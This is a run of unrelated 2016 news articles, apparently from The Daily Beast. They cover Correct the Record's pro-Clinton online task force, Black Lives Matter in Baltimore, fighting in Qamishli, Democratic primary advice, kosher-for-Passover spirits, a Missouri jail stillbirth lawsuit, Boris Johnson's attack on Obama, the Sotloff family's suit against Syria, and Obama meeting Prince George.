This explains why my inbox turned to cancer on Tuesday, wrote user OKarizee. Been a member of reddit for almost 4 years and never experienced anything like it. In fact, in all my years on the internet Ive never experienced anything like it.

Correct the Record, which has received $5 million this campaign season and has spent almost $4.5 million of it, according to OpenSecrets.org, outlined its strategy against swarms of anonymous attackers in a press release.

While Hillary Clinton fights to break down barriers and bring America together, the Barrier Breakers 2016 digital task force will serve as a resource for supporters looking for positive content and push-back to share with their online progressive communities, as well as thanking prominent supporters and committed superdelegates on social media, the statement read.

Due to FEC loopholes, the Sunlight Foundations Libby Watson found this year that Correct the Record can openly coordinate with Clintons campaign, despite rules that typically disallow political campaigns from working directly with PACs.

SuperPACs arent supposed to coordinate with candidates. The whole reasoning behind (Supreme Court decision) Citizens United rests on (PACs) being independent, but Correct the Record claims it can coordinate, Watson told The Daily Beast. Its not totally clear what their reasoning is, but it seems to be that material posted on the Internet for freelike, blogsdoesnt count as an independent expenditure.

Watson previously worked at Brocks Media Matters for America, where their whole mission is to debunk conservative misinformation [and] a lot of that ends up being defending Hillary Clinton, but says shes never seen anything like this initiative.

Usually places like MMFA and CTR are defending her against the media and established figures. This seems to be going after essentially random individuals online, she said. I dont know that theyve done anything like this before.

Campaign Legal Center lawyer Paul Ryan (who bears no relation to the Speaker of the House) told Time magazine in September of last year that Correct The Record is creating new ways to undermine campaign regulation. Watson used Ryans complaint in the Sunlight Foundations report about the most influential organizations working behind the scenes for the Clinton camp.

Campaign finance lawyers are not that impressed with [CTRs] logic, but they can get away with it because the [Federal Election Commission] is deadlocked and does nothing, she said.

Barrier Breakers 2016 is focused on pushing out positive content to Hillary supporters online to counter negative attacks and false narratives, Correct the Records communications director, Elizabeth Shappell, told The Daily Beast. The expanded task force was established in anticipation of the general election.
WEST BALTIMORE  There are no helicopters in the sky, no plumes of dark smoke billowing in the distance, and no phalanx of riot gear-clad police officers lining the streets. This city remains what it has beenbattered, broken, and paralyzed in too many places.

I was here just over a year ago, among the masses of mostly young black faces as the city boiled over after the death of 25-year-old Freddie Gray, watching as a liquor store was repeatedly looted and a local pharmacy burned. I was in St. Louis, my hometown, and in North Charleston, South Carolina, and other places where the righteously indignant shut down shopping malls, major thoroughfares, bridges, and transit stations.

As people marched, prayed, and pumped their fists in the wake of high-profile killings of black people, I imagined that change was coming, that pushing those stories into the national discourse would somehow result in tangible policy solutions, a wave of reforms.

But here in Baltimore, as the city heads into a primary election to select a new mayor, as murders shot up 59 percent in 2015, from 217 the previous year to 344 as cops all but walked off the job in response to protests demanding that they do it better, one has to wonder: Does Black Lives Matter matter?

Unlike in the second wave of the civil rights movement, which began in the 1950s, there is no significant body of legislation so far, no systematic criminal justice system reforms worthy of the name at the state or local level. And there have been no federal prosecutions of police officers who were either not charged or who were given light sentences at the local level in incidences involving an unarmed black victim.

What there has been is media coverage. There have been meetings at the Justice Department and the White House. Local Black Lives Matter chapters have sprung up around the country. Hollywood royalty and celebrity athletes have added their names to the role of supporters. The Democratic National Committee passed a resolution supporting the movement and affirming that black lives matter.

Presidential candidates Hillary Clinton and Bernie Sanders awkwardly navigated the issues in their efforts to court black voters, with both at times appearing resentful when asked by young activists to explain their public records.

While both have since sharpened their messaging, Sanders once said he didnt need to be lectured about black and Latino issues and Clinton urged activists to come up with a more positive vision.

In this third wave of the civil rights movement, there are those wholike Dr. King didbelieve that public activism should run in tandem with engaging policymakers like Clinton and Sanders. And still others who think the two should be divorced and cannot live with integrity under the same roof. Both are invested in the hope that a substantial shift can be made in how non-white communities are policed. The demand for meaningful economic policies that drive income equality and access to wealth is universal among social justice allieseven if they differ on the path to get there.

But, if you are looking for hope, you wont find it in the hard-faced, hollowed out buildings, situated along North Avenue, where the ghosts of yesteryear freely roam. You wont find it in the faces of the dispossessed gathered on the corners, stoops, and storefronts to sing desperate songs of poverty and lack. There are no children herenot along Division Street, Pennsylvania or North Freemont Avenuesin a place where being grown isnt always counted in years, but in the thickness of the trauma you have endured.

The Sandtown-Winchester neighborhood, where Gray was killed by Baltimore city police officers, is a place defoliated of its wealth and any ability to produce it by segregation, housing discrimination, and mass incarcerationby immoral federal and state policies designed to press down, trap in, and lock out. Its proverbial bootstraps were stolen and twisted around its neck until an entire community nearly lost consciousness and died.

Reno has lived off North Fulton, near Pressman Street, for as far back as he can remember. It always been like this, he shrugs. Always going to be.

He is 23 now, a high school dropout with a baby on the way and little faith that public demonstrations have or will make any real difference.

Every day is every day, he says, swigging a fruit punch. Its a whole lot of young Freddies out here.

That six Baltimore police officers involved in Grays death have been indicted and face criminal trial does not change things for Reno. They gave that mans family six million dollars, he says, referring to the $6.4 million the city paid out before the family even sued them. They know what they did to him. They killed him just like they can kill me and get away with it.

Asked about the protests and if he thought the uprisings would result in any meaningful change over time, Reno rolled his chocolate brown eyes.

We got a new CVS and the family got a lot of money, but niggas still dying.

The numbers bear that out. To be black and poor means, all too often, that your death will go unprosecuted and unpunished. Justice, if the available data means something, is often tied to the race and economic status of the victimespecially if the shooter is a police officer. And, if that victim has a criminal record of any kind, the chances of a successful prosecution fall exponentially.

More than half of all African-American millennials indicate they, or someone they knew, had been victimized by violence or harassment from law enforcement, according to a study conducted by the University of Chicago. Researchers, who have surveyed millennials several times during the past decade, point out that the disparities existed well before the Black Lives Matter movement began.

They got these cameras now, though, Reno tells me. But that dont mean nothing.

A coalition that includes several of the movements most recognizable faces wants it to mean something. Co-led by Deray Mckesson, who is now running for Baltimore mayor, Campaign Zero announced a national platform in August 2015. The group was specific in outlining the dilemmas and in detailing comprehensive solutions informed by data, research and human rights principles.

Its adoption, however, in whole or part, appears unlikely at both the federal and the local level. There is a difference between demonstrating and lawmaking, as the group well knows. The difficulty is converting street action into legislative action. Then too, the anticipated explosion in 2016 primary election turnout hasnt happened so far.

It means focusing not just on a presidential race, but also on congressional districts, state legislatures, and city councils, governors and county executives and, yes, mayors. Dismantling a racist system will take all of that and more.

Has Black Lives Matter moved the needle? Absolutely. That we are having this conversation at all is a testament to their fearless devotion, as well as the ability to organize and move. And, for the record, the movement is a direct challenge to those who protest that all lives matter and who dont think there are special issues to be addressed.

Dr. King answered that 52 years ago, saying, our society has been doing something special against the Negro for hundreds of years.

Some 48 years after his assassination, we still live in an age when young men like Reno are feared on sight. Institutionalized biases will sooner land him in a jail cell rather than a classroom. For him, Black Lives Matter embodies the hope that he cannot embrace for himself.

You cant burn down whats already been burnt down, can you?
QAMISHLI, Syria  The Kurdish-dominated city of Qamishli, seen as the capital of Syrian Kurdistan, saw its second day of heavy clashes between the pro-Assad militias and Kurdish fighters on Thursday. Many civilians could be seen fleeing the city while cars with Kurdish reinforcements rushed in, shouting and flashing victory signs.

The uptick in violence appeared to be heading toward all-out war between the Kurds affiliated with the Democratic Union Party (PYD), Americas most trusted ground proxy in the coalition campaign against the Islamic State, and pro-Assad Arab tribes. Such a sideshow conflict could threaten to drag the United States in, for the first time, against Damascussomething the Obama administration has been loath to do as it concentrates on degrading and destroying the so-called caliphate. But everywhere, as of late Thursday evening, the sound of heavy mortars and gunfire could still be heard.

The Daily Beast witnessed many Kurdish civilians fleeing Qamishli for nearby villages. I am bringing my wife outside of the city, and then I will come back to fight, one civilian said.

While all throughout Thursday morning Qamishli was quiet, violence spiked in the afternoon when the regime, for the first time in the entirety of the five-year Syrian conflict, started to use heavy artillery in the city.

As a result of the intense fighting, it became impossible to reach the outskirts of the city. There are no roads, friend, you better go back for your own safety, since you are a foreigner, a fighter told The Daily Beast, speaking in Kurdish.

Apparently, the truce failed and Asayish [Kurdish security tied to the PYD] opened fire on the SAA [Syrian Arab Army] after they captured the Alaya Prison. Both sides blame one another. But the PYD and the Syrian government are still negotiating, Leith Abou Fadel, editor of the pro-government, Syrian Arabic news website al-Masdar, told The Daily Beast.

The Syrian regime got angry when the Kurds manage to advance and take the regimes Alaya prison, capturing at least 67 regime soldiers and killing five. The regime responded by firing artillery at noon and allegedly killing 60-year-old Saadia Mohammed and injuring 20 more civilians on Qamishlis Zaytunia street. Although pictures of dead Kurds were exhibited on social media of, The Daily Beast could not confirm the death of any as of press time.

The fighting today started from yesterday until today and they liberated the prison and the regime bakery, said Bave Welat, a member of the Kurdish security police. We want to get rid of the regime from Qamishli, and today six our members were martyred.

The prison was completely isolated. The Daily Beast managed to drive up to the site, but local Kurdish fighters prohibited a visiting the facility during the nighttime hours. The fighting is still ongoing and we have taken the prison after they killed our comrades, thats why we have brought all of our forces to this region, said Bave Agid, a local Asayish leader stationed next to the prison. About four to five high-ranking regime officers were arrested, and 55 soldiers.

The Kurds say the prison was used as a defensive position for the regime, and that even Iranian fighters beholden to Assad were arrested. We got information that the regime mercenaries started to pay Arabs to prepare them for a war and they joined the National Defense Forces, Agid said, referring to a prominent pro-regime militia. There is fighting now all over the city.

I think we have four martyrs at this point, and maybe in Al-Wahda six members of our forces were martyred, he added.

Curiously, an ISIS suicide bomber attacked the Kurdish forces in nearby al-Wahda, where clashes were also taking place between regime forces and the Kurds. The simultaneity of the attacks led to rumors of collaboration between Assad and ISISrumors that previously were bandied about by Free Syrian Army rebels.

This shows that ISIS is also in alliance with the regime and coordinating with them, Agid told The Daily Beast.

The fighting also reached Arab villages outside Qamishli such as Khirbat Hamu. Most Kurds believe that these clashes owe to the Kurds announcement last March of a semi-autonomous federal region for northern Syria.

The regime rejects the establishment of a federal region and wants to control all the regions. Thats why they try to create chaos, said Mansour Saloum, the Arab co-chair of the newly established federal region, told The Daily Beast. Both the Syrian regime and the opposition dont allow the Kurds to get their rights, he added.

Even Kurdish rivals of the PYD seem to think the clashes are related to now-ended diplomatic negotiations in Geneva.

We heard a few days ago there was an intervention by Algeria, to set up talks between the Syrian government and Turkey, and the PYD is angry, and is trying to control the whole Kurdish areas, said Majdal Delil, a member of the Kurdish Unity Party, which, unlike the PYD, is part of the Syrian opposition delegation to Geneva.

Most likely the fighting will continue, although there are reports about a regime delegation arriving from Damascus to negotiate a ceasefire.

Its certain that the fighting will continue because all our forces are ready and are armed to fight, said Agid. What will happen later, we dont know.
In late May of 2008, there was a bit of a misunderstanding that briefly blew the tent off the circus that was the Democratic primary. The context was an interview where Hillary Clinton responded to criticism from unnamed Obama advisers (hi, guys) who accused her of dragging on a contest that had become virtually unwinnable: My husband did not wrap up the nomination in 1992 until he won the California primary somewhere in the middle of June, right? And we all remember Bobby Kennedy was assassinated in June in California.

Gaffe.

Now, its clear with the benefit of eight years hindsight that Hillary was merely pointing out that plenty of other primaries had lasted until June. I find it hard to believe that Hillary cites RFK assassination in explaining why shes still in race was the headline that the Clinton brain trust was hoping for that day. I dont think it was on the message calendar.

Try telling that to 2008 Me. I was outraged. My colleagues were outraged. In fact, we reveled in our outrage, which is what both campaigns did best back then (for laughs, we still send around timeless YouTube classics such as Your Slumlord Rezko, Change You Can Xerox, Talking Like Shes Annie Oakley, and my favorite, He Just Said Cocaine!)

At that moment, however, a cooler head (Barack Obamas) prevailed. Our statement referred to Clintons comments as unfortunate, she apologized, and we all moved on. Why? Because both campaigns understood that it was time to stop ripping each other apart and turn to the greater, shared goal of denying Republicans a third term in the White House.

Eight years later, were approaching the endgame of another Democratic primary. For Bernie Sanders to overtake Hillary Clintons lead in pledged delegateswhich, at 239, is more than double Obamas 112-delegate lead in 2008he would have to win each of the remaining contests by about 18 points, a margin he has only reached in Vermont and New Hampshire. If he doesnt, his only other option is to convince a few hundred superdelegates to back the candidate who has won fewer votes and fewer delegates.

Bernie faces long odds, but no good reason to drop out. And why should he? Why not keep running through the final primaries in June, just like Hillary did in 2008? Along the way, Sanders will probably win a few more statesespecially in Mayand continue to build a following that should hearten everyone who wants to see a bigger, bolder progressive movement.

But its also in the interest of the progressive moment for both candidates and their campaigns to begin healing the rifts that have deepened over the course of the primary. Neither Sanders nor Clinton seemed very compelling when they were screaming at each other for two hours at the debate in Brooklyn. And no one benefits from another three months of ridiculous lawsuits, overwrought fundraising emails, and surrogates sniping at each other on cable. Already, this friendly fire has taken a tollin the latest NBC/WSJ poll, Bernie is viewed unfavorably by 20 percent of Clinton supporters, and Hillary is viewed unfavorably by 40 percent of Sanders supporters.

I dont want to exaggerate the challenge. I still think this primary is less nasty and divisive than 2008, and exponentially less so than the cannibalism we may see in Cleveland. Its also true that the percentage of Sanders and Clinton voters who say they wont vote for the other candidate is fairly low. But a year in which Donald Trump or Ted Cruz could become president of the United States is not a year we can afford to have any pissed-off primary voters stay home in November.

Ive been on a campaign that was in a position similar to Hillary Clintons, and Ive been on a campaign that had to reconcile with Hillary Clinton. So, for what its worth (and I realize the answer may be a resounding not much, go to hell), heres my advice to both sides:

The Clinton Campaign

Youre on the verge of winning. Do so gracefully. The burden of bringing the party together falls more heavily on its future leader. Hillarys line in her New York primary night speech, I believe that there is much more that unites us than divides us, was a good start. Id go further, though.

Its not enough to just thank Sen. Sanders and his supporters. Show that you hear them; that youve learned from them; that theyve made you a better candidate, and will make you a better president. Recognize what Bernie has achieved by speaking passionately about issues of economic inequality, and the gross amount of political money that gives a louder voice to richer people. Celebrate the fact that hes inspired so many people to pay attention to politics for the first timeespecially young people, who you should work even harder to reach. Consider offering Sanders a prime-time speaking slot at the convention, and choosing an unapologetic progressive as vice president.

Finally, dont attack. And if Sanders surrogates or supporters attack, turn the other cheek. Be the bigger campaign. Dont allow yourselves to get baited. Dont drop snarky background quotes with reporters. Dont allow every perceived slight and controversy to get to you (like I did in 2008). Dont engage with the Bernie Bros (like I did last weekend). Persuade the persuadables, turn your fire on the Republicans, and focus on Hillarys vision for the future. Youre almost there.

The Sanders Campaign

I know, I knowIm supporting Hillary Clinton. But there was also a time when I couldnt imagine myself liking or voting for her. Maybe you dont believe that shes different from the caricature weve all helped perpetuate. But she is running a campaign with a policy platform thats more progressive than her husbands administration, her 2008 campaign, andin a few casesBarack Obamas administration.

Guess what? Bernie Sanders helped make that happen. He helped push Hillary Clinton to the left. And he should keep pushing her if she becomes president.

I dont think Bernie should stop pointing out where he and Hillary disagree, or pull back on his criticism of the way money influences politics, but I do think he should start repeating a line that hes already said once before: On her worst day, Hillary Clinton is a hundred times better than any of the Republicans.

Its important for Bernies supporters to know that he believes this undeniable truth. Its important for them to hear Sanders say that while hell keep fighting for a more progressive Democratic Party, the Democratic Party has been a vehicle for tremendous progress in this countryespecially over the last eight years. Denying or minimizing the achievements of the Obama presidency only deepens the cynicism of those who worry that change isnt possible.

Primaries are often a clash of personalities and magnified policy differences. A general election is much different. The Democratic nominee will face a Republican who is more extreme, more dangerous, and more unpopular than any presidential candidate in history. A campaign against Donald Trump or Ted Cruz wont just be a mission to save our country from something terrible, it will be an opportunity to elect a progressive majority and a progressive president who could tip the balance of the Supreme Court for a generation.

So keep your passion, your energy, and even your outrage. Just focus it on November.
Growing up, it was my duty as the youngest person at the table to ask the traditional four questions during my familys Passover Seder. Now as an adult, I have a fifth question that I often struggle with: What liquor is kosher to drink during the eight-day holiday?

While the last few years have a seen a proliferation of kosher high-end spirits (or ones getting certified kosher), like Glenmorangie Original 10 Year Old, Glenrothes Bourbon Cask Reserve Single Malt Scotch, and Milagro Tequila, Passover adds a new wrinkle for observant imbibers.

The holiday, which starts at sundown tonight, commemorates the Jews struggle for freedom from slavery in pharaoh-era Egypt. They had to hurriedly flee the country and outrun the pharaohs army. As a result they had no time to wait for their bread to rise.

So, during Passover, Jews abstain from eating or drinking anything that contain grains and water, which ferment and rise (called chametz). That means no bourbon, rye, Irish whiskey, or Scotch.

Youre also not allowed to drink a vodka or a gin that has a base made from wheat and beer is, of course, forbidden, too. Many Jews abstain from corn-based alcohol as well.

So what does that leave a thirsty Israelite? Well, most wine that is kosher is also usually kosher for Passover. (And there are actually many fine kosher wines for sale now from around the world.)

While rum (made from molasses or sugar cane), tequila (made from agave) and potato vodka could certainly become certified kosher for Passover, most of the brands have not taken that step. The Orthodox Union, which is the major organization in the U.S. to certify foods, warns that the only way to know for sure that a product is kosher for Passover is if its certified and the packaging is marked.

Fortunately, there are now several spirits that have gone through the process and are officially kosher for Passover. Craft distillery No. 209 in San Francisco produces a version of its gin that uses a cane sugar base.

The distillery also had to swap out some of its standard botanicals in order to comply with the rules of the holiday. In addition, No. 209 now also produces a vodka that also has a cane sugar base and is permissible to use during Passover. (The gin and the vodka both sell for $43.)

Brandy is another obvious fit for the celebration, since its made from a range of fruits. One classic Passover favorite is the potent Eastern European staple slivovitz, which is made from plums.

For a long time, the only alcohol beverage you had for Passover was slivovitz, remembers Rabbi Moshe Elefant, the COO of the OUs Kashruth Department. Look out for Jelineks 5 Year Old and Silver slivovitz, which are produced in the Czech Republic and have the OUs approval.

While the spirit can be tough to mix with other ingredients, a shot of it after dinner is supposed to help aid digestion. (Handy, after a Seder of heavy classic Jewish dishes, like matzo ball soup, kugel, and brisket.)

If you prefer smooth French cognac, Louis Royer, which was founded back in 1853, offers a number of fine kosher-for-Passover bottlings, including their VS, VSOP, XO and Napoleon. This means you can pour yourself an after-Seder snifter of brandy while you enjoy a traditional macaroon and a piece of chocolate-covered matzo.
Tara Rhodes was well into her second trimester of a high-risk pregnancy when she was arrested for a nonviolent drug offense and detained at the Mississippi County Detention Center in Charleston, Missouri.

Rhodes had been pregnant beforethis baby would be the fifth child she had placed for adoption. So when, three days into her incarceration, she started feeling abdominal pain and leaking amniotic fluid, she knew these were the telltale signs of preterm labor.

What she didnt know was this was just the beginning of what would be a five-day ordeal in which county jail employees would ignore, neglect, and restrain her. It would end with the death of her baby, according to a lawsuit filed by the Missouri ACLU on behalf of Rhodes.

When Rhodesa woman with a history of abusing drugs and committing crimes to get them, according to her lawyertold the staff her water had broken and she needed medical attention, her jailers said she would have to wait to see a doctor.

For the next five days, as she labored alone, Rhodes begged the jail employees for help. When her verbal pleas went ignored, she filed an official grievance and left it in her door slot. It was never answered. As fluid soaked through her pants, one jailer told Rhodes to use a tampon. When she started bleeding and passing blood clots, another told her to stop faking, according to the complaint.

According to the lawsuit, on Dec. 22, Rhodes was to go to a holding cell to await a transfer for medical treatment. By then, she was in pain and unable to walk, so guards dragged her on a sleeping mat to the cell. But she couldnt wait any longer. Rhodes pounded on the cell door. Guards replied by warning her that they would physically restrain her if she continued.

On Dec. 23, before leaving for the five-hour drive to Womens Eastern Reception, Diagnostic and Correctional Center in Vandalia, Missouri, for treatment, guards allegedly shackled Rhodess wrists and ankles and attached them to a long chain wrapped around her belly, lest she run away. This despite the fact that there has yet to be a single instance of an escape attempt by a woman in labor, according to the Department of Justices National Institute of Corrections (PDF).

Shackling pregnant women has been roundly condemned by medical professionals, law enforcement agencies, criminal justice groups, and human-rights advocates. In a 2011 opinion, the American College of Obstetricians and Gynecologists called the practice demeaning and rarely necessary.

The U.S. Marshals Service (PDF), the Federal Bureau of Prisons (PDF), the American Correctional Association (PDF), the National Commission on Correctional Health Care, the United Nations Committee Against Torture, Amnesty International (PDF), the American Jail Association, the American Psychological Association (PDF), the Human Rights Project for Girls, and the National Council of Juvenile and Family Court Judges have all introduced standards and positions during the last decade opposing the use of restraints on pregnant women. These are non-enforceable guidelines, however, and therefore little help for the some 12,000 pregnant women incarcerated in our countrys jails and prisons.

Still, anti-shackling measures are on the rise. As of 2015, 22 states had laws against restraining pregnant women, according to the ACLU. Twenty-eight states have yet to restrict the practice; Missouri is one of them.

And so during the long drive, a shackled Rhodes continued to beg for a doctor while her fluid turned from clear to green. Her jailers stopped for gas. When they finally arrived at the correctional medical facility, a doctor sent her to a hospital, where they found her cervix was two centimeters dilated, all of her amniotic fluid had gone, her umbilical cord had stopped pulsing, and her babywhose blackened foot had pushed through her vaginahad a heartbeat but was deprived of oxygen too long to be saved.

On Christmas Eve, Rhodes delivered a stillborn child.

Its disgusting, Tony Rothert, legal director of the Missouri ACLU and Rhodess lawyer, said in a telephone interview with The Daily Beast. To ignore her obvious need for medical care and the obvious suffering she was undergoing constitutes cruel and unusual punishment. Its tantamount to torture.

This is the ACLUs second lawsuit in the last six months accusing officers in Missouri of shackling, chaining, and transporting a pregnant woman hundreds of miles to receive medical treatment. In October 2015, the organization filed suit on behalf of Megon Riedel, who allegedly endured similarly inhumane treatment though she was 39 weeks into a high-risk pregnancy, bleeding, and in severe pain during labor. Riedels baby survived.

The most recent lawsuit accuses Rhodess jailers of violation of her constitutional rights, battery, and intentional infliction of emotional distress. The ACLU is suing Mississippi County for what it claims is a policy of mistreating pregnant women and failure to supervise its correctional officers. The suit also names former jail administrator Cory Hutcheson and jail employees Carol Manning, Faith Altamirano, Sally Faye Gammons, Terri Lynn Bowman, and a Mr. Henry and Mr. Lee whose first names are unknown.

In response to a message to his campaign Facebook page, Hutcheson called Rhodess complaint almost totally false but declined to comment further.

Hutcheson, who is running for Missouri County sheriff, is no longer employed by the county after an incident in which the jailhouse was unattended, according to a report in the Southeast Missourian. Hutcheson disputed this account and told The Daily Beast, I was fired because Im running for sheriff.

The Mississippi County Sheriffs Office did not return a request for comment.

Three days after the lawsuit was filed, the Missouri state Senate reacted by unanimously approving a bill limiting the use of restraints on juvenile offenders that included a last-minute provision prohibiting the shackling of pregnant women.

In its current state, however, that law would apply only to the state Department of Corrections and wouldnt have applied to Rhodess or Riedels cases.

Still, Rothert said, hell take what he can get.

Little by little, one step at a time.

Update: Former jail administrator Cory Hutcheson disputes the report claiming he was fired for leaving the detention center unattended. The article has been changed to include his assertion that he was fired because he is running for sheriff.
LONDON  President Obama is back in Europe today but there are no crowds awaiting his arrival. Indeed the greeting from some of his hosts is nakedly hostile.

Boris Johnson, the Mayor of London, welcomed him to the city with a fiery broadside describing Obama as incoherent, inconsistent, and downright hypocritical.

In a phrase that evoked racist jibes in the United States, Johnson described him as the part-Kenyan president in an op-ed in Britain's best-selling Sun newspaper.

Johnson also repeating the oft-cited, but factually dubious claim, that Obama ordered the removal of a bust of Winston Churchill from the Oval Office.

Johnson, a Conservative member of parliament and one of the favorites to become Britain's next prime minister, suggested Obama may have been motivated to remove the statuette because of an ancestral dislike of the British empire.

As prime minister, Churchill had sent British troops to quell an uprising against the British in Kenya.

Dinesh DSouza was denounced as a racist for making a similar point in his 2010 book The Roots of Obamas Rage.

Obama views Muslims who are fighting against America in Iraq and Afghanistan as freedom fighters, somewhat akin to Indians or Kenyans fighting to push out their British colonial occupier.

Johnson was unloading on Obama because he is furious that the U.S. president has intervened in the upcoming referendum on whether Britain should remain part of the European Union.

Ever since the referendum was announced, Obama has quietly indicated that he feels Britain is better off inside the EU. That suggestion turned into outright campaigning when he published an article in The Telegraph newspaper calling on British voters to stay in surprisingly passionate terms.

I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States. The tens of thousands of Americans who rest in Europes cemeteries are a silent testament to just how intertwined our prosperity and security truly are, he wrote.

He argued that Britains influence has been amplified by its membership of the European Union, helping to secure agreements on trade, climate change and even the recent deal with Iran.

This kind of cooperationfrom intelligence sharing and counterterrorism to forging agreements to create jobs and economic growthwill be far more effective if it extends across Europe. Now is a time for friends and allies to stick together, he said. Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace.

Obama remains popular in Britain so its no surprise that the out campaign is desperate to dismiss Obamas intervention. Despite the passion of the out campaign, most opinion polls suggest Britain will narrowly vote to remain part of the EU.

Nigel Farage, the leader of the U.K. Independence Party, told Obama to Butt out.

Former Labour minister Kate Hoey claimed Obamas intervention was insulting and patronizing.

Johnson, who is by far the most high-profile member of the out campaign, accused Obama of hypocrisy, claiming that Washington would never countenance a deal that diluted U.S. sovereignty.

The US guards its democracy with more hysterical jealousy than any other country on earth, he wrote.

For the United States to tell us in the UK that we must surrender control of so much of our democracyit is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do. It is incoherent. It is inconsistent, and yes it is downright hypocritical.

Johnson had already called Obama a hypocrite this month, prompting a reporter to ask White House spokesman Josh Earnest if there was a meeting planned between the president and the mayor during the trip to London.

Earnest interrupted the question to wrongly claim that Johnson was no longer the mayor of London, and then said: No, Im not aware of any former mayors who are on the Presidents itinerary for this trip.

Johnsons term as mayor will come to an end next month.

Obama is unlikely to be too disappointed to miss out on tea and crumpets with the mayor, however, as he will be having lunch with the Queen to celebrate her 90th birthday, and then hold meetings with Prime Minister Cameron before dinner at Kensington Palace hosted by The Duke and Duchess of Cambridge (William and Kate) and Prince Harry on Friday night.
There may be some justice after all for Steven Sotloff , the journalist whose gruesome killing at the hands of an ISIS executioner was seen around the world in a propaganda video in 2014.

Sotfloffs family has filed a lawsuit in a U.S. court against the government of Syria, which it holds responsible for his death. The central premise of the suit is that the Syrian government, led by President Bashar Al-Assad , actually has been propping up ISIS with money and weapons.

Thats an eye-catching claim, not least because ISIS is committed to overthrowing the Syrian regime and is actively fighting it on the battlefields of Syria.

The Sotloffs alleged that Syrias security apparatus helped create and thereafter greatly assisted Daesh [the Arabic name for ISIS], which was nothing more than its sham opponent in the Syrian civil war, to bolster Syrias negotiating power vis-a-vis the Western powers that had been seeking the end of the Assad regime. Assads plan was to cooperate with Daesh to destroy the moderate opposition leaving Daesh as his only opponent in the Syrian civil war.

At all times relevant to this complaint, the lawsuit continued, Syria provided material support to Daesh, such as financial support, provision of materiel, and military air support.

That narrative is a deeply controversial one. Yes, there are researchers and analysts who believe that the links between Assad and the zealots who want to replace him with a self-annointed religious ruler have never been fully appreciated. (Some of them are cited in the Sotloffs complaint, filed in the District Court in Washington, DC.)

But more experts regard the idea that Assad is propping up his avowed enemy as an overly simplistic reduction that relies on scant evidence.

I hold no brief for Bashar al Assad or his regime, but Assad is not sponsoring ISIS, Thomas Joscelyn, a terrorism analyst and senior fellow at the hawkish Foundation for the Defense of Democracies, told The Daily Beast.

Most analysts agree that Syria aided ISISs predecessor, al Qaeda in Iraq, when it fought and killed U.S. troops, providing support and free travel across its border. And there are significant instances where the two sides have interacted to each others benefit, such as Syrias purchase of oil through ISIS illicit network. Or when Russian aircraft began bombing more moderate rebels the common enemies of ISIS and Assadduring the Fall of 2015.

But Joscelyn and many other analysts see these transactions as symbiotic moments of opportunity in the chaos of war, not a grand collusion.

The regimes forces have fought ISIS most recently in the Syrian town of Palmyra , which Assads forces liberated from ISIS clutches after the group destroyed priceless artifacts. They have fought bloody battles in several other Syrian towns, as well as along key supply routes that the group needs to survive.

ISIS has launched suicide attacks against the regime throughout Syria, said Joscelyn, who edits the terror-tracking Long War Journal . In fact, ISIS claims to have carried out 62 martyrdom operations against Syrian regime forces during the first three months of this year.

So why would the Sotloff family hinge their loved ones justice on a set of allegations that are refuted by experts and seem to fly in the face of the facts on the ground? Perhaps because theyll never have to prove their theories in court.

The Syrian government, as the named defendant in the case, has the right to send a representative to federal court in Washington, DC, and defend itself. It probably wont.

In the vast majority of cases brought by family members of terrorist victims against sovereign governments who are, like Syria, on the U.S. list of state sponsors of terror, the defendant simply never shows up, said Peter Margulies, a professor at the Roger Williams University School of Law. In that case, the judge may find the defendant in default and rule in favor of the plaintiff.

Thats just what happened in one famous case brought against the government of Iran by the family of an exchange student, Alisa Flatow, who was killed in a terrorist bombing in Israel in 1995 carried out by a proxy of the regime in Tehran.

Iranian officials, including the supreme religious leader Ayatollah Ali Khamenei, were served with summonses through the embassy of Switzerland in Tehran. The Iranians returned the court papers through the mail with Do Not USA written on the back of the original, unopened envelope. The judge in the case, Royce Lamberth, awarded Flatows family $247 million in damages.

That lesson wont be lost on the Sotloff familys lawyer, Steven Perles. He represented the Flatows, as well as other families whove successfully sued the government of Iran for their role in terrorist attacks that killed their loved ones, including the 1983 suicide bombings of the U.S. Marine barracks in Beirut that claimed the lives of 241 service members.

Courts have awarded the families of Iranian terror victims billions of dollars in damages. On Wednesday, the Supreme Court ruled that an Iranian bank must pay terror victims, a significant legal victory thats likely to encourage other families who want to bring lawsuits for monetary damages. (A law pending in Congress would also give families of victims of the 9/11 attacks to sue the government of Saudi Arabia.)

A representative of Perles law firm in Washington, DC declined to comment on the Sotloff case, saying that as a matter of policy the attorneys dont discuss pending litigation. But Perles will almost certainly follow the well-worn pattern of earlier cases, and hes obviously an expert in how to try them.

Dont expect high courtroom drama, though. If the Syrian government doesnt show up to refute the allegations that it supports ISIS, the Sotloff familys attorney need not prove every claim in the complaint.

You basically just have to show a colorable claim and some evidence to back it up, Margulies said. Its not the same as a trial in which the plaintiff must call witnesses, who can be cross-examined by the defense, which also would have a chance to call its own experts to the stand.

To support its allegations, the Sotloff lawsuit relies almost entirely on news articles by journalists and ISIS chroniclers, including the work of Michael Weiss , a senior editor at The Daily Beast and the co-author of a book on ISIS cited in the complaint.

Presuming that Syria sends no one to court to tell Assads side of the story, and the judge rules for the Sotloffs, he could then award monetary damages. At that point, the family would have to find a pool of money from which it could be paid.

There, too, they could follow a well-established pattern. Victims of terrorist attacks linked to foreign governments may recoup damages from assets that have been blocked by the U.S. government.

And theres Syrian money to be had. According to the most recent report from the Treasury Department, the U.S. has blocked some $78 million in assets belonging to the Syrian government. Margulies said that pool of money is the obvious target for anyone seeking to claim damages for terrorist attacks linked to the Syrian government.

Most families only recover a fraction of the money that courts have awarded them. But that can still add up to millions of dollars. And for many, the legal victories represent both a measure of justice for their loved ones as well as a warning against terror-sponsoring regimes that they will be held to account.

If the Sotloffs can win in court, that may motivate other ISIS victims to follow suit, including the families of James Foley, Peter Kassig, and Kayla Mueller, who all died at the hands of the terror group.

I think the path was there before the Sotloffs brought their lawsuit, Margulies said. But this no doubt will encourage other families to explore these options to get compensation for their loss.
President Obama and his wife, Michelle, have expanded their royal acquaintances today after meeting Prince George, who was allowed to stay up past his bedtime for a photo opportunity that might just break the Internet.

Georges sister, Princess Charlotte, missed out on the encounter after she fell asleep, preferring to snooze instead of making nice with the leader of the free world.

But Prince George, clad in a fetching dressing gown and smart pajamas, stole the show as he was introduced to President Obama and Michelle in Will and Kates private apartment, who both crouched to be on eye level with the young Prince.

